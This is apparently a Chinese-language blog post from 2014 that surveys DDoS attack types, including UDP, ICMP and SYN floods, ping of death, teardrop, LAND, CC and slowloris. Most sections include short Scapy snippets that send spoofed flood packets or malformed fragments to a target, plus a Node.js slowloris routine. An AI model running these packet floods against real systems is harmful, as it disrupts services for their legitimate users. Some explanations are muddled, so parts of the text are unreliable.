DDOS攻击简述

Posted on 2014-04-30 by Shawn Wang

Posted in others

定义:
分散式阻断服务攻击Distributed Denial of Service), 因为其消耗性特征, 所以又称为洪水攻击

手段: 利用“僵局“,向某一特定目标发动密集的“拒绝服务“式攻击
目的: 拒绝服务(合法用户不能进行正常的网络服务)

传统DDOS攻击分类-从消耗方式维度分类

1 带宽消耗型攻击

洪泛攻击: 直接发送大量流量至受损受害者系统,目的在于堵塞其带宽。
放大攻击: 发送信息至广播IP地址导致系统子网被广播IP地址连接上之后再发送信息至受害系统,通过恶意放大流量限制受害者系统的带宽。参考

1.1 UDP floods

UDP是一种无连接协议,当数据包通过 UDP 发送时,所有的数据包在发送和接收 时不需要进行握手验证。当大量 UDP 数据包发送给受害系统时,可能会导致带 宽饱和从而使得合法服务无法请求访问受害系统。

1
2
3
ip = fuzz(IP(dst=target, src=getRandomIP()))
udp = fuzz(UDP(dport=port))
send(ip/udp, verbose=0)

1.2 ICMP floods

ICMP floods是通过向未良好设置的路由器发送广播信息占用系统资源的做法.
1.直接 2.间接 3.反射:Smurf攻击

1
2
3
ip = fuzz(IP(dst=target, src=getRandomIP()))
icmp = fuzz(ICMP())
send(ip/icmp, verbose=0)

1.3 ping of death

ping of death是产生超过IP协定能容忍的封包数,若系统没有检查机制,就会当机。ICMP回送消息在数据包的数据部分只有65,536个字节。送出超过 65,536字节ping封包对IP通讯协定而言不是合法的用法,若送出ping封包时分成多个片段,目标电脑必须不断重组封包,期间可能因发缓冲区溢位,而导致系统崩溃。

1
2
3
ip = fuzz(IP(dst=target, src=getRandomIP()))
icmp = fuzz(ICMP())
send(fragment(ip/icmp)/("X"*70000))

1.4 泪滴(teardrop)攻击

每个资料要传送前,该封包都会经过切割,每个小切割都会记录位移的资讯,以便重组,但此攻击模式就是捏造位移资讯,造成重组时发生问题,造成错误。比如,一个6 000字节的IP包,在MTU为2 000的链路上传输的时候,就需要分成3个IP包。在IP报头中有一个偏移字段和一个拆分标志(MF)。如果MF标志设置为1,则表示这个IP包是一个大IP包的片段,其中偏移字段指出了这个片段在整个IP包中的位置。例如,对一个6 000字节的IP包进行拆分(MTU为2 000),则3个片段中偏移字段的值依次为0,2 000,4 000。黑客截取到IP数据包后,把偏移字段值正确组合这些折分的数据包,但接收端会不断尝试,这样就可能致命目标计算机操作系统因资源耗尽而崩溃.

ip fragment

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
size=36
offset=3
load1="\x00"*size

i=IP()
i.dst=target
i.flags="MF" #设置最低位 MF 标识,表示后面还有“分片”数据包.
i.proto=17

size=4
offset=18
load2="\x00"*size

j=IP()
j.dst=target
j.flags=0
j.proto=17
j.frag=offset

send(i/load1)
send(j/load2)

2 资源消耗型攻击

2.1 SYN Attack

2.1.1 协议分析攻击(SYN flood)

若接收系统发送了 SYN 数据包,但没接收到 ACK,接受者经过一段时间后会再次发送新的 SYN 数据包。接受系统中的处理器和内存资源将存储该 TCP SYN 的请求直至超时。利用 TCP 功能将僵尸程序伪装的 TCP SYN 请求发送给受害服务器,从而饱和服务处理器资源并阻止其有效地处理合法请求。它专门利用发送系统和接收系统间的三向信号交换来发送大量欺骗性的原 IP 地址 TCP SYN 数据包给受害系统。最终,大量 TCP SYN 攻击请求反复发送,导致受害系统内存和处理器资源耗尽,致使其无法处理任何合法用户的请求。

1
2
3
ip = fuzz(IP(dst=target, src=getRandomIP()))
syn = fuzz(TCP(dport=port, flags='S'))
send(ip/syn, verbose=0)
2.1.2 LAND attack

这种攻击方式与SYN floods类似,不过在LAND attack攻击包中的原地址和目标地址都是攻击对象的IP。这种攻击会导致被攻击的机器死循环,最终耗尽资源而死机。

1
2
3
ip = fuzz(IP(dst=target, src=target))
syn = fuzz(TCP(dport=port, flags='S'))
send(ip/syn, verbose=0)

2.2 基于应用层的攻击

2.2.1 cc攻击

CC攻击是 DDoS 攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求 (通常使用 HTTP GET)。CC (攻击黑洞)根据其工具命名,攻击者创造性地使用代理机制,利用众多广泛可用的免费代理服务器发动 DDoS 攻击。许多免费代理服务器支持匿名模式,这使追踪变得非常困难。

2.2.2 僵局网络攻击

僵尸网络是指大量被命令控制型 (C&C) 服务器所控制的互联网主机群。攻击者传播恶意软件并组成自己的僵尸网络。僵尸网络难于检测的原因是,僵尸主机只有在执行特定指令时才会与服务器进行通讯,使得它们隐蔽且不易察觉。僵尸网络根据网络通讯协议的不同分为IRC、HTTP或P2P类等。

2.2.3 其他
2.2.4 slowloris
function send() {
    var secure = 'https:' == url.protocol;
    var opts = {};
    opts.port = url.port || (secure ? 443 : 80);
    opts.host = url.hostname;

    var mod = secure ? tls : net;

    var sock = mod.connect(opts, function(){
        ++active;
        process.stdout.write('\r  active: ' + active + ' ');
        var i = 0;

        sock.write('GET / HTTP/1.1\r\n');
        setInterval(function(){
           if (null == req[i]) return;
            sock.write(req[i++]);
        }, 50);
    });

    sock.setTimeout(0);

    sock.on('error', function(){
        --active;
    });
}

SNMP,DNS,P2P等


ddos 攻击 防护 cc flood syn ack tcp

Donation

Latest Posts

在 VPS 上搭建 Cisco IPsec|L2TP over IPsec 的极简攻略

三年前我写过一篇在VPS上搭建PPTP VPN的极简攻略, 不过一年前我就不再使用 PPTP VPN 了,最主要的原因是因为 macOS 完全不支持 PPTP;另一个原因是基于 ipsec 协议的 VPN 更加安全,IPsec 协议会加密你的网络数据, 避免泄漏或者中间人攻击。所以现在对于需要全局代

为什么应该使用本地广播(LocalBroadcastManager)

从 Android 诞生已来,就一直有所谓的四大组件,BroadcastReceiver 是其中之一。 几乎在各种样的应用中都有 BroadcastReceiver 的使用,它被应用于接收系统发送的消息以及与其他应用之间的交互,但也被大量的误用于应用内部通信。 然而在同应用中使用则违背 Broadc

推荐 Vocabulary.com

阅读之前如果你还在思考背单词的意义,我建议你先想清楚,或者参考别人的意见,例如知乎的讨论 背单词是必须吗 等问题。 从英语方面来说,我肯定不是大神,小神都算不上。 我背单词的路径基本是 中学大学英语书附录 -> 高频词汇书 -> 扇贝单词 -> Vocabulary.com。 那为什么要来推荐 Vo

Comments